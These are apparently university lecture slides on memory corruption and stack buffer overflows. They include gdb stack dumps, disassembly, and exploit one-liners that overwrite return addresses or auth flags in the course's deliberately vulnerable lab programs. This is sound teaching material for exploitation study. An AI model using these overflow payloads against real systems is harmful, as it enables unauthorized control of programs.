  - http://www.amazon.com/The-Rootkit-Arsenal-Evasion-Corners/dp/1598220616

Memory Corruption

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Austin Ralls

Setup

Slides are at lense.pw/mbe/mem_corr.pdf
(Don't look ahead if you don't want spoilers)

- Start your VMs
- Run `wget lense.pw/mbe/setup.sh`
- run `sh setup.sh`
  - If you're having trouble getting internet, you can try your luck getting vmware tools installed for shared folders… but fixing internet is probably easier
  - Most important part of the script is getting .gdbinit

Lab info

- Submissions for the first lab are due beginning of class Friday
- To submit solutions, email mbespring2015+lab1@gmail.com
- Follow instructions in the README http://security.cs.rpi.edu/~jblackthorne/README.txt

Bonus flags info

- Each lab will also have a bonus flag
- They do not count toward your grade
- Scoreboard will be at rpis.ec/flags
- The first one was in an email; future ones might not be so obvious to find

Lecture Overview

- Definition
- Buffer overflows
- How-to techniques/workflows
- Modifying
  - data/stack
  - control flow

“Memory Corruption”

- What is it?

“Memory Corruption”

- What is it?
  - fun

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

“Memory Corruption”

- Modifying a binary’s memory in a way that was not intended
- Broad umbrella term for most of what the rest of this class will be
- The vast majority of system-level exploits (real-world and competition) involve memory corruption

0-overflow_example

- Read and understand it
- Compile and play with it
- What does the stack look like?

0-overflow_example stack

before

```
-----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF9E0  EBX: 0xB7FD6FF4  ECX: 0x00000000  EDX: 0xB7FD80B0
o d I t S z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF9F8  ESP: 0xBFFFF9D0  EIP: 0x080484A8
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF9D0]-------------------------------------------------------------[stack]
0xBFFFF9C0 : D4 F9 FF BF F4 6F FD B7 - F8 F9 FF BF 96 84 04 08 .....o..........
0xBFFFF9D0 : E0 F9 FF BF 9B FB FF BF - 05 00 00 00 05 00 00 00 ................
0xBFFFF9E0 : 74 77 6F 00 20 85 04 08 - 6F 6E 65 00 F4 6F FD B7 two. ...one..o..
0xBFFFF9F0 : E0 0C 00 B8 05 00 00 00 - 58 FA FF BF BC FE EA B7 ........X.......
0xBFFFFA00 : 02 00 00 00 84 FA FF BF - 90 FA FF BF 98 18 00 B8 ................
0xBFFFFA10 : 00 00 00 00 01 00 00 00 - 01 00 00 00 00 00 00 00 ................
-----------------------------------------------------------------------------[code]
0x80484a8 <main+196>:   call   0x80482f8 <strcpy@plt>
```

0-overflow_example stack

after

```
-----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF9E0  EBX: 0xB7FD6FF4  ECX: 0xFFFFFE45  EDX: 0xBFFFFBA1
o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF9F8  ESP: 0xBFFFF9D0  EIP: 0x080484AD
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF9D0]-----------------------------------------------------------[stack]
0xBFFFF9C0 : D4 F9 FF BF E0 0C 00 B8 - F8 F9 FF BF AD 84 04 08 .................
0xBFFFF9D0 : E0 F9 FF BF 9B FB FF BF - 05 00 00 00 05 00 00 00 .................
0xBFFFF9E0 : 41 41 41 41 41 00 04 08 - 6F 6E 65 00 F4 6F FD B7 AAAAA...one..o..
0xBFFFF9F0 : E0 0C 00 B8 05 00 00 00 - 58 FA FF BF BC FE EA B7 ........X.......
0xBFFFFA00 : 02 00 00 00 84 FA FF BF - 90 FA FF BF 98 18 00 B8 .................
0xBFFFFA10 : 00 00 00 00 01 00 00 00 - 01 00 00 00 00 00 00 00 .................
-----------------------------------------------------------------------------[code]
0x80484ad <main+201>:   lea    eax,[ebp-24]
```

0-overflow_example stack

after--exploited

```
-----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF9A0  EBX: 0xB7FD6FF4  ECX: 0xFFFFFE3F  EDX: 0xBFFFFBA1
o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF9B8  ESP: 0xBFFFF990  EIP: 0x080484AD
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF990]-------------------------------------------------------------[stack]
0xBFFFF980 : 94 F9 FF BF E0 0C 00 B8 - B8 F9 FF BF AD 84 04 08 .................
0xBFFFF990 : A0 F9 FF BF 61 FB FF BF - 05 00 00 00 05 00 00 00 ....a...........
0xBFFFF9A0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xBFFFF9B0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xBFFFF9C0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xBFFFF9D0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
-----------------------------------------------------------------------------[code]
0x80484ad <main+201>:   lea    eax,[ebp-24]
```

Buffer Overflows

Whoa.

--Keanu Reeves

Buffer Overflows

- That's pretty much it
- Now, what can we do with that?

1-auth_overflow

- Read and understand it
- Compile and play with it
- What does the stack look like?

1-auth_overflow stack

before strcpy

```
-----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF750  EBX: 0xB7FD6FF4  ECX: 0x48E0FE81  EDX: 0x00000002  o d I t S z a p c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF778  ESP: 0xBFFFF740  EIP: 0x0804842E
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF740]-------------------------------------------------------------[stack]
0xBFFFF730 : 00 00 00 00 00 00 00 00 - 00 00 00 00 80 83 04 08 ................
0xBFFFF740 : 50 F7 FF BF 93 F9 FF BF - 58 F7 FF BF D9 82 04 08 P.......X.......
0xBFFFF750 : 29 F7 F9 B7 F4 6F FD B7 - 88 F7 FF BF 29 85 04 08 )....o......)...
0xBFFFF760 : F4 6F FD B7 20 F8 FF BF - 88 F7 FF BF 00 00 00 00 .o.. ............
0xBFFFF770 : B0 47 FF B7 10 85 04 08 - 88 F7 FF BF BB 84 04 08 .G..............
0xBFFFF780 : 93 F9 FF BF 10 85 04 08 - E8 F7 FF BF BC FE EA B7 ................
-----------------------------------------------------------------------------[code]
0x804842e <check_authentication+26>:    call   0x804830c <strcpy@plt>
```

1-auth_overflow stack

after strcpy

```
-----------------------------------------------------------------------[regs]
  EAX: 0xBFFFF750  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDBD  EDX: 0xBFFFF99C  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF778  ESP: 0xBFFFF740  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF740]---------------------------------------------------------[stack]
0xBFFFF730 : F0 76 F0 B7 E0 0C 00 B8 - 78 F7 FF BF 33 84 04 08 .v......x...3...
0xBFFFF740 : 50 F7 FF BF 93 F9 FF BF - 58 F7 FF BF D9 82 04 08 P.......X.......
0xBFFFF750 : 74 65 73 74 70 61 73 73 - 00 F7 FF BF 29 85 04 08 testpass....)...
0xBFFFF760 : F4 6F FD B7 20 F8 FF BF - 88 F7 FF BF 00 00 00 00 .o.. ............
0xBFFFF770 : B0 47 FF B7 10 85 04 08 - 88 F7 FF BF BB 84 04 08 .G..............
0xBFFFF780 : 93 F9 FF BF 10 85 04 08 - E8 F7 FF BF BC FE EA B7 ................
-----------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-40]
```

1-auth_overflow code

auth check

```
call    0x804832c <strcmp@plt>
test    eax,eax
jne     0x8048451 <check_authentication+61>
mov     DWORD PTR [ebp-12],0x1
```

1-auth_overflow stack

after strcpy -- let's look at this again

```
-----------------------------------------------------------------------[regs]
  EAX: 0xBFFFF750  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDBD  EDX: 0xBFFFF99C  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF778  ESP: 0xBFFFF740  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF740]---------------------------------------------------------[stack]
0xBFFFF730 : F0 76 F0 B7 E0 0C 00 B8 - 78 F7 FF BF 33 84 04 08 .v......x...3...
0xBFFFF740 : 50 F7 FF BF 93 F9 FF BF - 58 F7 FF BF D9 82 04 08 P.......X.......
0xBFFFF750 : 74 65 73 74 70 61 73 73 - 00 F7 FF BF 29 85 04 08 testpass....)...
0xBFFFF760 : F4 6F FD B7 20 F8 FF BF - 88 F7 FF BF 00 00 00 00 .o.. ............
0xBFFFF770 : B0 47 FF B7 10 85 04 08 - 88 F7 FF BF BB 84 04 08 .G..............
0xBFFFF780 : 93 F9 FF BF 10 85 04 08 - E8 F7 FF BF BC FE EA B7 ................
-----------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-40]
```

1-auth_overflow stack

oh that's handy

```
-----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF740  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDC5  EDX: 0xBFFFF99C  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF768  ESP: 0xBFFFF730  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF730]-------------------------------------------------------------[stack]
0xBFFFF720 : F0 76 F0 B7 E0 0C 00 B8 - 68 F7 FF BF 33 84 04 08 .v......h...3...
0xBFFFF730 : 40 F7 FF BF 7B F9 FF BF - 48 F7 FF BF D9 82 04 08 @...{...H.......
0xBFFFF740 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xBFFFF750 : 41 41 41 41 41 41 41 41 - 41 41 41 41 42 42 42 42 AAAAAAAAAAAABBBB
0xBFFFF760 : 00 47 FF B7 10 85 04 08 - 78 F7 FF BF BB 84 04 08 .G......x.......
0xBFFFF770 : 7B F9 FF BF 10 85 04 08 - D8 F7 FF BF BC FE EA B7 {...............
-----------------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-40]
```

Note: when copying and pasting from slides or documents, double-check to make sure the quotation marks are straight (') not magic (‘ or ’)

Let’s take a break from the stack

How to give programs fancy input

(now with excessive coloring)

2-arg_input_echo

- Test program that echos your argument
- Challenges:
  - hex: 0x41414141
  - int: 1094795585
  - int: 1094795586
  - hex: 0x01010101

- Hint: pcalc

2-arg_input_echo solutions

- hex: 0x41414141

  ```
  $ ./arg_input_echo AAAA
  ```

- int: 1094795585

  ```
  $ ./arg_input_echo AAAA
  ```

- int: 1094795586

  ```
  $ ./arg_input_echo BAAA
  ```

- hex: 0x01010101

  ```
  $ ./arg_input_echo
      `printf '\x01\x01\x01\x01'`
  ```

Print ABCD

```
$ echo -e '\x41\x42\x43\x44'

$ printf '\x41\x42\x43\x44'

$ python -c 'print "\x41\x42\x43\x44"'

$ perl -e 'print "\x41\x42\x43\x44";'
```

Print 100 As

```
$ echo/printf (hold down alt; type 100) A

$ python -c 'print "A"*100'

$ perl -e 'print "A" x 100;'
```

BASH refresher

- Use command output as an argument

```
$ ./vulnerable `your_command_here`
$ ./vulnerable $(your_command_here)
```

- Use command as input

```
$ your_command_here | ./vulnerable
```

- Write command output to file

```
$ your_command_here > filename
```

- Use file as input

```
$ ./vulnerable < filename
```

gdb io

- Use command output as an argument

```
$ r $(your_command_here)
```

- Use command as input

```
$ r < <(your_command_here)
```

- Write command output to file

```
$ r > filename
```

- Use file as input

```
$ r < filename
```

Now back to the stack

How to bend programs to your will

3-auth_overflow2

- Read and understand it
- Compile and play with it
- What does the stack look like?

3-auth_overflow2.c diff

difference from 1-auth_overflow

Terminal

```
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int check_authentication(char *passwo
     char password_buffer[16];
     int auth_flag = 0;
  ----------------------------------------

     strcpy(password_buffer, password);

     if(strcmp(password_buffer, "brilli
        auth_flag = 1;
     if(strcmp(password_buffer, "outgra
+ +-- 19 lines: auth_flag = 1;---------
[<      [c] 1,1            0x23     All
```

```
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int check_authentication(char *passwor
  ----------------------------------------
     int auth_flag = 0;
     char password_buffer[16];

     strcpy(password_buffer, password);

     if(strcmp(password_buffer, "brillig
        auth_flag = 1;
     if(strcmp(password_buffer, "outgrab
+ +-- 19 lines: auth_flag = 1;----------
[<    [+][c] 1,1            0x23     All
```

3-auth_overflow2.c stack

uh-oh

```
----------------------------------------------------------------------------[regs]
  EAX: 0xBFFFF760  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDCC  EDX: 0xBFFFF999  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF778  ESP: 0xBFFFF740  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF740]-------------------------------------------------------------[stack]
0xBFFFF730 : F0 76 F0 B7 E0 0C 00 B8 - 78 F7 FF BF 33 84 04 08 .v......x...3...
0xBFFFF740 : 60 F7 FF BF 94 F9 FF BF - 58 F7 FF BF D9 82 04 08 `.......X.......
0xBFFFF750 : 29 F7 F9 B7 F4 6F FD B7 - 88 F7 FF BF 00 00 00 00 )....o..........
0xBFFFF760 : 41 41 41 41 00 F8 FF BF - 88 F7 FF BF F4 6F FD B7 AAAA.........o..
0xBFFFF770 : B0 47 FF B7 10 85 04 08 - 88 F7 FF BF BB 84 04 08 .G..............
0xBFFFF780 : 94 F9 FF BF 10 85 04 08 - E8 F7 FF BF BC FE EA B7 ................
----------------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-24]
0x8048436 <check_authentication+34>:    mov    DWORD PTR [esp+4],0x80485d4
0x804843e <check_authentication+42>:    mov    DWORD PTR [esp],eax
0x8048441 <check_authentication+45>:    call   0x804832c <strcmp@plt>
0x8048446 <check_authentication+50>:    test   eax,eax
0x8048448 <check_authentication+52>:    jne    0x8048451 <check_authentication+61>
0x804844a <check_authentication+54>:    mov    DWORD PTR [ebp-28],0x1
```

3-auth_overflow2.c

- now what?

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

3-auth_overflow2.c

- now what?
- take control

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Example ELF in Memory

0x00000000 – Start of memory

0x08048000 – Start of .text Segment

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

3-auth_overflow2.c exercise

- Take out a sheet of paper
- Diagram the stack
- Currently right before the strcpy call

3-auth_overflow2.c exercise

3-auth_overflow2.c exercise

3-auth_overflow2.c exercise

low address	
	auth_flag
	password_buffer
high address	

3-auth_overflow2.c exercise

3-auth_overflow2.c exercise

low address	&password_buffer	strcpy arguments (first argument, dest; second argument, src)
	&password	
	???	local vars
	auth_flag	
	password_buffer	
high address		

3-auth_overflow2.c exercise

low address	&password_buffer	strcpy arguments (first argument, dest; second argument, src)
	&password	
	???	local vars
	auth_flag	
	password_buffer	
	&password	argument
high address	???	local vars (main)

3-auth_overflow2.c exercise

low address	&password_buffer	strcpy arguments (first argument, dest; second argument, src)
	&password	
	???	local vars
	auth_flag	
	password_buffer	
	???	
	old ebp	
	old eip	← IMPORTANT
	&password	argument
high address	???	local vars (main)

3-auth_overflow2.c main

where do we want to go?

```
0x080484b6 <main+66>:   call   0x8048414 <check_authentication>
0x080484bb <main+71>:   test   eax,eax
0x080484bd <main+73>:   je     0x80484e5 <main+113>
0x080484bf <main+75>:   mov    DWORD PTR [esp],0x80485fb
```

3-auth_overflow2.c stack

let's put it together now

```
-----------------------------------------------------------------------[regs]
  EAX: 0xBFFFF760  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDD7  EDX: 0xBFFFF999  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF778  ESP: 0xBFFFF740  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF740]---------------------------------------------------------[stack]
0xBFFFF730 : F0 76 F0 B7 E0 0C 00 B8 - 78 F7 FF BF 33 84 04 08 .v......x...3...
0xBFFFF740 : 60 F7 FF BF 89 F9 FF BF - 58 F7 FF BF D9 82 04 08 `.......X.......
0xBFFFF750 : 29 F7 F9 B7 F4 6F FD B7 - 88 F7 FF BF 00 00 00 00 )....o..........
0xBFFFF760 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
0xBFFFF770 : B0 47 FF B7 10 85 04 08 - 88 F7 FF BF BB 84 04 08 .G..............
0xBFFFF780 : 89 F9 FF BF 10 85 04 08 - E8 F7 FF BF BC FE EA B7 ................
-----------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-24]
```

3-auth_overflow2.c stack

```
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$(printf '\xbf\x84\x04\x08\xbf')
```

```
-----------------------------------------------------------------------[regs]
  EAX: 0xBFFFF740  EBX: 0xB7FD6FF4  ECX: 0xFFFFFDC9  EDX: 0xBFFFF999  o d I t s Z a P c
  ESI: 0xB8000CE0  EDI: 0x00000000  EBP: 0xBFFFF758  ESP: 0xBFFFF720  EIP: 0x08048433
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF720]---------------------------------------------------------[stack]
0xBFFFF710 : F0 76 F0 B7 E0 0C 00 B8 - 58 F7 FF BF 33 84 04 08 .v......X...3...
0xBFFFF720 : 40 F7 FF BF 77 F9 FF BF - 38 F7 FF BF D9 82 04 08 @...w...8.......
0xBFFFF730 : 29 F7 F9 B7 F4 6F FD B7 - 68 F7 FF BF 00 00 00 00 )....o..h.......
0xBFFFF740 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xBFFFF750 : 41 41 41 41 41 41 41 41 - 41 41 41 41 BF 84 04 08 AAAAAAAAAAAA....
0xBFFFF760 : BF 00 FF BF 10 85 04 08 - C8 F7 FF BF BC FE EA B7 ................
-----------------------------------------------------------------------[code]
0x8048433 <check_authentication+31>:    lea    eax,[ebp-24]
```

4-game_of_chance

- Read and understand it
- Compile and play with it
- Where's the vulnerability?
- How do you exploit it?

4-game_of_chance.c

```
perl -e 'print "1\n5\nn\n5\n" . "A"
x100 . "\x70\x8d\x04\x08\n" .
"1\nn\n" . "7\n"' | sudo .
/game_of_chance
```

Heap overflows

- Wow, you have until 04/10 until you have to deal with them

I’m sure not all of that sunk in

Questions?

Coming up

- Next class (Fri) is a lab
- After that (Tue) is a lecture on shellcoding

Setup

- YOU NEED AN SSH CLIENT – DO THIS NOW
- If on Windows
  - Download PuTTY (google it)
- If on Linux
  - You probably already have an SSH client, so chill

RPISEC

Intro to Binary Exploitation

Fall 2014

Binary Exploitation

- The simplest definition – To change data the program uses in ways that were not intended by the programmer
- In CTFs - Pwn(ables)/Exp(loitation)
- Very technical, <u>insanely gratifying</u>
  - Intimate knowledge of language/machine

let’s pwn some stuff

WELCOME TO THE WARZONE

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B
loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

warzone.rpis.ec

ssh username/password

intro01:intro01

Tips to get started

- cd /levels
- ./intro01
  - AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAA
- python –c ‘print “A”*20’
- gdb ./intro01
  - run

- In GDB:
  - Info functions
  - Info registers
    - i r
  - disassemble <function>
    - disas main
  - breakpoint <function>
    - b main
  - breakpoint * <address>
    - b * 0x08048455

Stack Overview

- The stack is a region of memory for a program to maintain function variables and stuff during execution

- This is main()'s stack -------->

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x00	0x00	...
0x00	0x00	0x00	0x00	<-- buffer[60] to buffer[63]
0x00	0x00	0x00	0x00	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

Understanding the Stack

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x00	0x00	...
0x00	0x00	0x00	0x00	<-- buffer[60] to buffer[63]
0x00	0x00	0x00	0x00	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

Understanding the Stack

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<-- buffer[60] to buffer[63]
0x00	0x00	0x00	0x00	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

Corrupting the Stack

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<-- buffer[60] to buffer[63]
0x41	0x00	0x00	0x00	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

PWNING the Stack

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<-- buffer[60] to buffer[63]
0xef	0xbe	0xad	0xde	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

Endianess – How data is stored in memory

- Endianess – How data is stored in memory
- Modern computers are generally little endian
  - ‘little end in’
- Endianess can be confusing, and I don’t want to get into the details
  - 0x41424344 stored as 0x44, 0x43, 0x42, 0x41
  - 0xdeadbeef stored as 0xef, 0xbe, 0xad, 0xde

Intro01 Exploit

```
(python -c 'print "A"*64 + "\xef\xbe\xad\xde"'; cat) | ./intro01
```

Bend it like Beckham

UNDERSTANDING CONTROL FLOW

Example ELF / EXE in Memory

0x00000000 – Start of memory

0x08048000 – Start of .text Segment

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Example ELF / EXE in Memory

Executable code

```
0x8048410    push   ebp
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

Example ELF / EXE in Memory

Executable code

EIP

```
0x8048410    push   ebp
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
